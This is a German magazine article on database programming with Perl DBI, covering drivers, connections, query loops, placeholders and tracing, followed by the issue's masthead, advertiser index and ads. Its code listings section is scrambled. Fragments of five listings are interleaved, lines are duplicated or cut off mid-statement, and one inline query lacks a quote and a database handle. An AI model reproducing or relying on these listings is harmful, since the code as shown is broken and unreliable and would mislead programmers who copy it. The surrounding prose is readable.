Grundlagen der Datenbankprogrammierung unter Perl<br />
Erschließungsarbeiten<br />
Beim Programmieren bewähren sich oft Arrays oder Hashes als Datensilos,<br />
jedenfalls solange ihre Daten das Programm, das sie verwendet,<br />
nicht zu überleben brauchen. Wer wahlfreien Zugriff auf persistente Daten<br />
braucht, dem bietet sich beispielsweise eine Datenbank an. Doch wie<br />
kommt er dann an die dort gespeicherten Informationen? Jens-Christoph Brendel<br />
Um eine Datenbank interaktiv zu befragen,<br />
benutzt man am besten einen<br />
SQL-Client. Solche Applikationen gibt es<br />
für jedes Betriebssystem in unterschiedlicher<br />
Qualität beinah wie Sand am Meer.<br />
Die Kommandozeilentools darunter kann<br />
man durchaus auch aus einem Skript heraus<br />
beschicken, dennoch bietet sich für<br />
den Datenbankzugriff aus einer Applikation<br />
eher eine native Datenbankschnittstelle<br />
an. Traditionellerweise hatte jede<br />
Datenbank ihre eigene API. Natürlich<br />
waren damit auch die Probleme programmiert,<br />
sollte man die Datenbank einmal<br />
wechseln wollen oder nur eine Version<br />
nicht mehr vollständig rückwärts kompatibel<br />
sein. Deswegen haben sich schon<br />
lange Standards herausgebildet, die entweder<br />
sowohl sprach- wie datenbankunabhängig<br />
sind, etwa Microsofts ODBC<br />
(Open Database Connectivity), oder die<br />
einer Sprache zuzuschreiben, aber mit<br />
vielen Datenbanken kombinierbar sind.<br />
Beispiele dafür sind JDBC (Java Database<br />
Connectivity), das zu Java gehört, ADO<br />
(ActiveX Data Objects), verbandelt mit<br />
Visusal Basic, BDE (Borland Database<br />
Engine), ein Kind von Object Pascal/Delphi<br />
oder eben Perl-DBI (Perl DataBase<br />
Independent), das mit Perl verheiratet ist.<br />
Dieses DBI-Interface soll hier vorgestellt<br />
werden.<br />
Zweiteiler<br />
Das Datenbank-Interface DBI bestand<br />
von Anfang an aus zwei Teilen. Die Befehle<br />
des Programmierers nimmt dabei<br />
immer das eigentliche DBI-Modul ent<strong>gegen</strong>,<br />
das mit »use DBI;« in das Programm<br />
eingebunden sein muss, das die Datenbank<br />
befragen will. Um die konkrete<br />
Datenbeschaffung kümmern sich da<strong>gegen</strong><br />
datenbankspezifische DBD-Module<br />
(Database Driver), die es sowohl für die<br />
allermeisten Datenbanken als auch für<br />
die oben erwähnten Schnittstellenfamilien<br />
gibt. Daneben existieren auch Treiber<br />
für Datenstrukturen wie XML oder CSV.<br />
Diese Architektur macht es leicht, das<br />
System für neue Datenbanken oder Versionen<br />
anzupassen, indem man lediglich<br />
den passenden Treiber ergänzt, während<br />
das DBI-Modul und die Software, die es<br />
verwendet, so bleiben kann, wie sie ist.<br />
Kein Wunder also, dass das CPAN 30<br />
Bildschirmseiten DBD-Module listet.<br />
Welcher Treiber genau gebraucht wird,<br />
um eine konkrete Datenbank anzusprechen,<br />
erfährt das DBI-Modul aus einer<br />
»connect«-Anweisung, die allen Datenbankabfragen<br />
vorausgehen muss. Einen<br />
passenden DBD-Treiber muss DBI dann<br />
im Perl-Modulpfad finden können.<br />
Wer wissen will, ob das klappen wird,<br />
muss freilich nicht auf eine eventuelle<br />
Fehlermeldung warten, sondern kann<br />
vorher ohne Aufwand testen, welche<br />
Datenbanken DBI in der jeweiligen Umgebung<br />
bereits kennt. DBI enthält dafür<br />
und für verschiedene andere Zwecke eine<br />
Reihe von Service-Methoden. Da die datenbankbenutzende<br />
Anwendung sicher<br />
in nicht wenigen Fällen eine Webapplikation<br />
sein wird, benutzen wir hier auch<br />
eine Mini-Webseite zum Testen (Listing<br />
1). Das Skript muss für den Benutzer,<br />
unter dessen Account der Webserver<br />
läuft, ausführbar sein und im »cgi‐bin«-<br />
Verzeichnis liegen.<br />
Wenn alles glatt geht, liefert der Test eine<br />
Tabelle mit den Treibernamen. Ist die<br />
eigene Datenbank hier noch nicht vorhanden,<br />
muss man zuerst das DBD-Treibermodul<br />
installieren. Manchmal paketieren<br />
Linux-Distributionen eine Auswahl<br />
solcher Treiber, Ubuntu beispielsweise<br />
zumeist unter dem Namen libdbd-Datenbankname<br />
für MySQL, PostgreSQL,<br />
SQLite, MS SQL und Sybase. Wer keine<br />
Binärpakete vorfindet, kann die Treiber<br />
aber auch sehr einfach via CPAN-Shell<br />
nachladen.<br />
Königsweg<br />
Sind alle Treiber an Bord, ist die Datenbank<br />
eingerichtet und funktioniert sie,<br />
geht es los. In den allermeisten Fällen<br />
kann sich der Anwender bei gewöhnlichen<br />
Abfragen an die Schrittfolge aus<br />
Listing 2 halten.<br />
Zeile 4 folgt dem Schema<br />
$dbh = DBI‐>connect( $data_source, U<br />
$username, $password, \%attr );<br />
Sie stellt in diesem Fall die Verbindung<br />
zu einer MySQL-Datenbank »testdb« mit<br />
dem Account des Nutzers »root« ohne<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
127
Programmieren<br />
Perl-DBI<br />
Listing 5: Datenimport<br />
01 #!/usr/bin/perl ‐w<br />
02 use strict;<br />
03 use DBI;<br />
04 <br />
05 my $anz;<br />
Listing 4: In einem Schritt<br />
01 #!/usr/bin/perl ‐w<br />
02 use strict;<br />
03 use DBI;<br />
04 <br />
Listing 3: Abfrageschleife<br />
01 #!/usr/bin/perl ‐w<br />
02 use strict;<br />
03 use DBI;<br />
04 <br />
Listing 2: Standardschritte<br />
01 01 #!/usr/bin/perl ‐w<br />
02 02 use strict;<br />
03 03 use DBI;<br />
04 <br />
Listing 1: Treibertest<br />
01 #!/usr/bin/perl ‐w<br />
02 use strict;<br />
03 use DBI;<br />
04 use CGI qw(:standard escapeHTML);<br />
05 <br />
06 my @treiber = DBI‐>available_drivers();<br />
07 <br />
08 print header();<br />
09 start_html("DBD‐Treiber‐Test");<br />
10 print "connect('dbi:mysql:testdb:l<br />
ocalhost:3306','root','', {PrintError=>0,<br />
RaiseError=>1});<br />
06 <br />
07 my $ref=$dbh‐>selectall_arrayref("SELECT name,<br />
06 my $dbh=DBI‐>connect('dbi:mysql:testdb:l<br />
ocalhost:3306','root','', {PrintError=>0,<br />
RaiseError=>1});<br />
07 my $sth=$dbh‐>prepare("INSERT INTO adresses<br />
(name, street, nr) VALUES(?,?,?)");<br />
08 <br />
Passwort her. Zurückgegeben wird ein<br />
Datenbank-Handle, das für eine konkrete<br />
Datenbankverbindung über einen<br />
bestimmten Treiber steht. Man kann aus<br />
einer Anwendung sowohl gleichzeitig<br />
Verbindungen zu beliebig vielen verschiedenen<br />
Datenbanken aufbauen, als<br />
auch mehrere Verbindungen zu ein und<br />
derselben Datenbank.<br />
Der Parameter »PrintError« hält DBI dazu<br />
an, automatisch Perls »warn()«-Funktion<br />
zu verwenden, wenn es auf einen Fehler<br />
stößt. Setzt man da<strong>gegen</strong> wie im Beispiel<br />
»RaiseError« auf »1«, dann verwendet<br />
DBI stattdessen die »die()«-Funktion<br />
07 05 my $SQL="SELECT * from testtabelle WHERE id<br />
= 23;";<br />
08 06 my $sth=$dbh‐>prepare($SQL);<br />
09 07 $sth‐>execute();<br />
10 08 my $result=$sth‐>fetchrow_hashref();<br />
11 09 $sth‐>finish();<br />
12 10 my $rc = $dbh‐>disconnect();<br />
adresses";<br />
07 my $sth=$dbh‐>prepare($SQL);<br />
08 $sth‐>execute();<br />
09 while( my $ref = $sth‐>fetchrow_hashref('NAME_<br />
uc')) {<br />
10 printf "name=%s, street=%s, nr=%d\n",<br />
$ref‐>{NAME}, $ref‐>{STREET}, $ref‐>{NR};<br />
11 }<br />
street, nr FROM adresses");<br />
08 <br />
09 if (defined($ref)) {<br />
10 foreach my $zeile (@{$ref}) {<br />
11 printf "name=%s, street=%s, nr=%d\n",<br />
$zeile‐>[0], $zeile‐>[1], $zeile‐>[2];<br />
12 }<br />
13 }<br />
09 open(ADDRDAT, "
Perl-DBI<br />
Programmieren<br />
Ruft man »selectrow_array()« in einem<br />
Skalar-Kontext auf, dann liefert es nur die<br />
erste Spalte der ersten Zeile des Ergebnisses<br />
zurück. Das ist besonders praktisch,<br />
wenn man nur an der Anzahl der Resultate<br />
interessiert ist:<br />
$anz=selectrow_array(SELECT COUNT(*) FROM U<br />
testtab");<br />
Generell geben alle Routinen, die Arrays<br />
liefern, eine leere Liste zurück, sobald die<br />
Ergebnismenge ausgeschöpft ist, und alle<br />
Routinen, die Referenzen liefern, retounieren<br />
in diesem Fall »undef«.<br />
Ist man an allen Resultaten interessiert,<br />
eignen sich zur Abfrage daher Schleifen<br />
wie in Listing 3. Ein kleiner Trick dabei<br />
ist, »fetchrow_hashref()« über den Parameter<br />
zur Großschreibung der Schlüssel<br />
zu zwingen, sodass sie garantiert zur<br />
Schreibweise im »prinf«-Statement passen.<br />
Etwas bequemer kommt man mit<br />
einer Abfrage der höheren Ordnung zum<br />
selben Ziel (Listing 4).<br />
Platzhalter<br />
In vielen Fällen will die Applikation nicht<br />
nur lesend auf die Datenbank zugreifen,<br />
sondern auch Inhalte verändern. DBI<br />
kennt für SQL-Statements, die keine Zeilen<br />
zurückgeben, die Methode »do()«.<br />
$dbh‐>do("INSERT INTO adresses U<br />
(name, street, nr) VALUES('guenther',U<br />
'nelkenweg',7)");<br />
Auch »UPDATE«- oder »DELETE«-Anweisungen<br />
lassen sich via »do()« ausführen.<br />
Dabei gibt die Methode »undef« zurück,<br />
wenn es bei ihrer Ausführung zu einem<br />
Fehler kommt. Kann die Datenbank das<br />
Statement da<strong>gegen</strong> zwar ausführen, findet<br />
aber keine Zeile, auf die es zutrifft,<br />
liefert »do()« den Wert »0E0« zurück.<br />
Zeichenketten in Insert- oder Update-<br />
Anweisungen müssen in Anführungszeichen<br />
stehen, was insofern ein kleines<br />
Problem heraufbeschwören kann, als<br />
bereits das SQL-Statement als solches<br />
an- und abgeführt werden muss. Dafür<br />
gibt es verschiedene Lösungen: Entweder<br />
man verwendet immer doppelte Anführungszeichen,<br />
muss dann aber diejenigen<br />
im Innern des SQL-Statements mit einem<br />
Backslash maskieren. Oder man setzt das<br />
SQL-Statement in einfache Anführungen,<br />
dann müssen doppelte im Innern nicht<br />
maskiert werden. Oder man verwendet<br />
Platzhalter.<br />
Als Platzhalter dient das Fragezeichen<br />
an Stelle eines Datenwertes, der später<br />
nachgereicht wird. Besonders effizient ist<br />
diese Form dann, wenn ein und dieselbe<br />
Abfrage mit immer wechselnden Werten<br />
wiederholt wird. Dann kommt diese<br />
Technik auch der Performance zugute,<br />
denn die Datenbank muss nur einmal<br />
einen Ausführungsplan berechnen und<br />
kann ihn dann jedes Mal wiederverwenden.<br />
Das Beispiel in Listing 5 liest Daten<br />
aus einer CSV-Datei und speichert sie in<br />
einer Tabelle. Nebenbei: Diese Listings<br />
sollen nicht im Produktivbetrieb laufen,<br />
sondern nur DBI-Funktionen beispielhaft<br />
demonstrieren. Deshalb verzichten sie<br />
bewusst auf alles, was dafür verzichtbar<br />
ist, beispielsweise auch auf eine<br />
Fehlerbehandlung, wie man sie natürlich<br />
normalerweise bräuchte, um etwa<br />
leere oder falsch formatierte CSV-Zeilen<br />
abzufangen.<br />
Shit happens<br />
Zum Schluss noch ein<br />
paar Worte zur Fehlersuche<br />
in solchen<br />
Skripten. Eine erste<br />
Maßnahme ist bereits<br />
das Einschalten des<br />
Warnmodus »‐w« von<br />
Perl, was dazu führt,<br />
dass sich der Interpreter<br />
über Sachen beklagt,<br />
die ihm komisch<br />
vorkommen. Auch »use<br />
strict;« sollte selbstverständlich<br />
sein, damit<br />
man nicht über triviale<br />
Patzer wie verschriebene<br />
Variablennamen<br />
stolpert. Ansonsten<br />
beugt der oben schon<br />
erwähnte DBI-Parameter<br />
»RaiseError()«<br />
wirksam vor, indem<br />
er automatisch den<br />
Rückgabewert jedes<br />
DBI-Methodenaufrufs<br />
checkt und das Skript<br />
beendet, wenn etwas<br />
schiefgelaufen ist. Die<br />
nächste gute Quelle für<br />
Hinweise auf Probleme<br />
ist das Error-Log der Datenbank (soweit<br />
beteiligt auch das des Webservers). Zur<br />
Laufzeit konstruierte SQL-Abfragen kann<br />
man zu Testzwecken vorher auch mit<br />
»print« ausgeben. Allerdings funktioniert<br />
das nicht mehr, wenn sie Platzhalter<br />
verwenden. In diesem Fall muss man<br />
das Tracing des DBI-Moduls einschalten,<br />
um zu sehen, was es tatsächlich an die<br />
Datenbank übermittelt. Nötig ist mindestens<br />
der Trace Level 2. Einstellen kann<br />
man ihn auf zweierlei Weise: entweder<br />
über ein Handle<br />
$sth‐>{TraceLevel}=2;<br />
oder über eine Environment-Variable:<br />
DBI_TRACE=2=dbitrace.log<br />
export DBI_TRACE<br />
In letzterem Fall kann man auch eine<br />
Log-Datei an beliebigem Ort mit angeben.<br />
Andernfalls landen alle Ausgaben<br />
wie auch im Fall der Konfiguration über<br />
das Handle auf StdOut. <br />
n<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
129
Service<br />
Impressum und <strong>Vorschau</strong><br />
Impressum ISSN 2190-1066<br />
<strong>ADMIN</strong>-<strong>Magazin</strong> eine Publikation der Linux New Media AG<br />
Redaktionsanschrift Putzbrunner Straße 71<br />
81739 München<br />
Tel.: 0 89/99 34 11-0<br />
Fax: 0 89/99 34 11-99 oder -96<br />
Internet<br />
www.admin-magazin.de<br />
E-Mail<br />
redaktion@admin-magazin.de<br />
Geschäftsleitung Brian Osborn (Vorstand), bosborn@linuxnewmedia.de<br />
Hermann Plank (Vorstand), hplank@linuxnewmedia.de<br />
Chefredakteure Oliver Frommel (V.i.S.d.P.),<br />
ofrommel@admin-magazin.de (ofr)<br />
Jens-Christoph Brendel<br />
jbrendel@admin-magazin.de (jcb)<br />
Redaktion<br />
News/Report<br />
Ulrich Bantle (Ltg.), ubantle@linuxnewmedia.de (uba)<br />
Mathias Huber, mhuber@linuxnewmedia.de (mhu)<br />
Software/Test<br />
Marcel Hilzinger, mhilzinger@linuxnewmedia.de, (mhi)<br />
Kristian Kißling, kkissling@linuxnewmedia.de, (kki)<br />
Security/Networking Markus Feilner, mfeilner@linuxnewmedia.de (mfe)<br />
Thomas Leichtenstern, tleichtenstern@linuxnewmedia.de (tle)<br />
Ständige Mitarbeiter Elke Knitter (Schlussredaktion),<br />
Carsten Schnober, Tim Schürmann, Claudia Thalgott<br />
Produktionsleitung Christian Ullrich, cullrich@linuxnewmedia.de<br />
Grafik<br />
Klaus Rehfeld, Judith Erb<br />
Titel: Judith Erb, Ausgangsgrafik: tiero, 123RF<br />
Abo-Infoseite<br />
Abonnenten-Service<br />
www.admin-magazin.de/abo<br />
Veronika Kramer<br />
abo@admin-magazin.de<br />
Tel.: 07131/27 07 274, Fax: 07131/27 07 78 601<br />
Preise Print Deutschland Österreich Schweiz Ausland EU<br />
Einzelheft € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />
Mini-Abo (2 Ausgaben) € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />
Jahres-DVD (Einzelpreis) € 14,95 € 14,95 Sfr 18,90 € 14,95<br />
Jahres-DVD (zum Abo 1 ) € 6,70 € 6,70 Sfr 8,50 € 6,70<br />
Jahresabo € 49,90 € 54,90 Sfr 99,90 € 59,90<br />
Preise Digital Deutschland Österreich Schweiz Ausland EU<br />
Heft-PDF Einzelausgabe € 9,80 € 9,80 Sfr 10,71 € 9,80<br />
DigiSub (6 Ausgaben) € 44,90 € 44,90 Sfr 49,05 € 44,90<br />
DigiSub (zum Printabo) € 6,— € 6,— sfr 6,— € 6,—<br />
HTML-Archiv (zum Abo 1 ) € 48,— € 48,— sfr 48,— € 48,—<br />
Preise Kombiabos<br />
Profi-Abo 2 € 136,60 € 151,70 Sfr 259,90 € 165,70<br />
1<br />
nur erhältlich in Verbindung mit einem Jahresabo Print oder Digital<br />
2<br />
mit Linux-<strong>Magazin</strong>-Abo und beiden Jahres-DVDs<br />
Schüler- und Studentenermäßigung: 20 Prozent <strong>gegen</strong> Vorlage eines Schülerausweises oder einer aktuellen<br />
Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei Verlängerung neu zu erbringen. Andere Abo-<br />
Formen, Ermäßigungen im Ausland etc. auf Anfrage.<br />
Adressänderungen bitte umgehend mitteilen, da Nachsendeaufträge bei der Post nicht für Zeitschriften gelten.<br />
Pressemitteilungen info@admin-magazin.de<br />
Anzeigen/Repräsentanz<br />
Es gilt die Anzeigenpreisliste vom 01.01.2010<br />
National<br />
Pressevertrieb<br />
Druck<br />
Petra Jaser<br />
Tel.: 089/99 34 11 24, Fax: 089/99 34 11 99<br />
E-Mail: anzeigen@admin-magazin.de<br />
MZV, Moderner Zeitschriften Vertrieb GmbH<br />
Breslauer Straße 5, 85386 Eching<br />
Tel.: 089/31906-0, Fax: 089/31906-113<br />
Vogel Druck und Medienservice GmbH<br />
97204 Höchberg<br />
Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unix-ähnlichen Betriebssysteme<br />
verschiedener Hersteller, zum Beispiel Eurix (Comfood), Ultrix (Digital Equipment), HP/UX (Hewlett-Packard) oder Sinix<br />
(Siemens) benutzt, nicht als die Bezeichnung für das Trademark von X/Open. Linux ist eingetragenes Marken zeichen von<br />
Linus Torvalds und wird in unserem Markennamen mit seiner Erlaubnis verwendet. Alle anderen Marken sind Eigentum<br />
der jeweiligen Inhaber. Eine Haftung für die Richtigkeit von Veröffentlichungen kann trotz sorgfältiger Prüfung durch<br />
die Redaktion vom Verlag nicht übernommen werden. Mit der Einsendung von Manu s kripten gibt der Verfasser seine<br />
Zustimmung zum Abdruck im Admin-<strong>Magazin</strong>. Für unverlangt ein gesandte Manuskripte kann keine Haftung übernommen<br />
werden. Die Redaktion behält sich vor, Artikel zu kürzen. Das Exklusiv- und Verfügungsrecht für angenommene<br />
Manuskripte liegt beim Verlag. Es darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in<br />
irgendeiner Form vervielfältigt oder verbreitet werden. Copyright © 1994–2012 Linux New Media AG<br />
Inserentenverzeichnis<br />
1&1 Internet AG http://www.einsundeins.de 7<br />
<strong>ADMIN</strong> http://www.admin-magazin.de 45, 97<br />
aktivoptik http://www.aktivoptik.de 123<br />
Android User http://www.android-user.de 69, 87<br />
Carhartt http://www.carhartt-wip.com 113<br />
Deutsche Python Konferenz - PyCon http://de.pycon.org 25<br />
Fernschule Weber GmbH http://www.fernschule-weber.de 111<br />
Galileo Press http://www.galileo-press.de 13<br />
Heinlein Professional Linux<br />
Support GmbH http://www.heinlein-support.de 67<br />
Hetzner Online AG http://www.hetzner.de 132<br />
Host Europe GmbH http://www.hosteurope.de 33<br />
Hostserver GmbH http://www.hostserver.de 2<br />
Inlab Software GmbH http://www.inlab.de 125<br />
ISC Events http://www.isc-events.com 31<br />
Kamp Netzwerkdienste GmbH http://www.kamp.net 27<br />
Kettner Mathias - Linux Experte http://www.mathias-kettner.de 73<br />
Lamarc EDV-Schulungen u. Beratung<br />
GmbH http://www.lamarc.com 77<br />
Linux-Hotel http://www.linuxhotel.de 55<br />
Linux-<strong>Magazin</strong> http://www.linux-magazin.de 81<br />
Linux-<strong>Magazin</strong> Academy http://academy.linux-magazin.de 39, 103, 131<br />
Linux-<strong>Magazin</strong> Online http://www.linux-magazin.de 85<br />
LinuxUser http://www.linuxuser.de 105<br />
Netzwerktotal http://www.netzwerktotal.de 129<br />
pascom - Netzwerktechnik<br />
GmbH & Co.KG http://www.pascom.net 11<br />
Plus<strong>Server</strong> AG http://www.plusserver.de 14, 50, 62, 74<br />
Securepoint GmbH http://www.securepoint.de 65<br />
Springer Verlag GmbH & Co.KG http://www.springer.com 9<br />
Strato AG http://www.strato.de 23<br />
Einem Teil dieser Ausgabe liegt eine Beilage der Firma HACKATTACK IT SECURITY GmbH<br />
(http://www.hackattack.com ) bei. Wir bitten unsere Leser um freundliche Beachtung.<br />
Autoren dieser Ausgabe<br />
Eric Amberg Schweizer Netzwerkmesser 28<br />
Thomas Drilling An vorderster Front 106<br />
Thomas Drilling In Harmonie 94<br />
Thomas Drilling Wettkampf 76<br />
Egon Grünter Die Pflichten des Protokolls 40<br />
Werner Fischer Dicke Leitung 24<br />
Jan Gassen Fallensteller 46<br />
Thomas Joos Rundum sorglos 110<br />
Thomas Joos Verschwägert 99<br />
Michael Kofler Abgerundet 118<br />
Martin Loschwitz Oldie but Goldie 70<br />
David Lutterkort Anschlussfreudig 114<br />
Vilma Niclas Ablageordnung 18<br />
Thorsten Scherf Dienstbarer Geist 16<br />
Sebastian Schinzel Seitenkanäle mit Untiefen 52<br />
Georg Schönberger Hochgeschwindigkeit 82<br />
Tim Schürmann Abgedichtet 56<br />
Dr. Udo Seidel Flugschreiber 64<br />
Oliver Sennhauser Abgesichert 88<br />
Ramon Wartala Das vierte Programm 102<br />
Harald Zisler Benutzer gut geführt 96<br />
© James Thew, 123RF<br />
VORSCHAU<br />
<strong>ADMIN</strong> 05/2012 erscheint am 13. september 2012<br />
Virtualisierung<br />
KVM ist dabei, sich als Standardlösung<br />
zur Virtualisierung unter Linux zu<br />
etablieren. Der kommende <strong>ADMIN</strong>-<br />
Schwerpunkt testet Management-Tools<br />
und zeigt Optimierungsmöglichkeiten.<br />
Ein Praxistest vergleicht Software für<br />
eigene Cloud-Speicher.<br />
Management<br />
Eine zentrale Verwaltung vereinfacht<br />
die Administration einer<br />
Rechnerlandschaft erheblich.<br />
Rex hilft dabei und bietet einen mit<br />
Perl skriptbaren Baukasten, der<br />
mit den meisten Betriebssystemen<br />
zurechtkommt.<br />
130 Ausgabe 04-2012 Admin www.admin-magazin.de
Linux-<strong>Magazin</strong><br />
ACADEMY<br />
LPIC-1<br />
All-in-One Solution<br />
✓<br />
Stellen Sie Ihr Linux-Wissen mit<br />
einer Zertifizierung unter Beweis!<br />
✓ Nutzen Sie die volle Flexibilität bei<br />
der Zeiteinteilung Ihrer Schulung!<br />
✓ Holen Sie sich alles, was Sie<br />
benötigen, in einem Paket!<br />
LPIC-1 Komplettpaket* nur € 1.490<br />
*Zertifizierung als „Junior Level Linux Professional“<br />
100% flexibel!<br />
Weitere Infos: academy.linux-magazin.de/solution
Hetzner Online unterstützt mit der<br />
Verwendung von 100% regenerativem<br />
Strom aktiv den Umweltschutz.<br />
Entscheiden Sie sich gemeinsam<br />
mit uns für eine saubere Zukunft.